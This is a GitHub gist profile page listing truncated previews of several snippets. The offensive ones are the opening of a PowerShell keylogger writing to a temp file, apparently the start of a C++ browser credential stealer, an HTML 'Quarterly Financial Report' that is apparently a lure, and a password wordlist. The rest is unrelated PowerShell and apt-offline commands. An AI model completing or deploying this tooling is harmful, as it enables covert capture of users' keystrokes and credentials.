Skip to content

Instantly share code, notes, and snippets.

View justaguywhocodes's full-sized avatar

Toussaint Louverture justaguywhocodes

View GitHub Profile
Add-Type @'
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);
}
'@
$logFile = "$env:TEMP\keylog.txt"
https://x.com/DanteTheDon/status/1990971315466199437
Write-Host "doing something cool with a TTP"
This file has been truncated, but you can view the full file.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Quarterly Financial Report</title>
<style>
body {
font-family: Segoe UI, Arial, sans-serif;
background: #f5f5f5;
text-align: center;
https://x.com/ItsMattsLaw/status/1990939108651278709
#include <windows.h>
#include <shlobj.h>
#include <iostream>
#include <string>
#include "sqlite3.h"
#include <wincrypt.h>
#include <cstdlib> // For system("pause")
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "sqlite3.lib")
!000000
!000000!
!000000!!
!0000000
!0000000!
!0000000!!
!00000001
!000000012
!0000000123
!00000002
https://drive.usercontent.google.com/download?id=1J_jz-UqA_WQDqNuaGQbKcl8UCvnSVRWI&export=download&authuser=0
# Define the cache directory
$cacheDir = "<your dir>"
Write-Host "Cache directory: $cacheDir"
# Helper function to find byte sequence in a byte array
function Find-ByteSequence {
param (
[byte[]]$haystack,
[byte[]]$needle
)
sudo apt update && sudo apt install apt-offline -y
sudo apt-offline set --update --upgrade apt-offline.sig
sudo apt-offline get apt-offline.sig --bundle bundle.zip
# Transfer bundle.zip to air-gapped via USB.
# On air-gapped:
sudo apt-offline install bundle.zip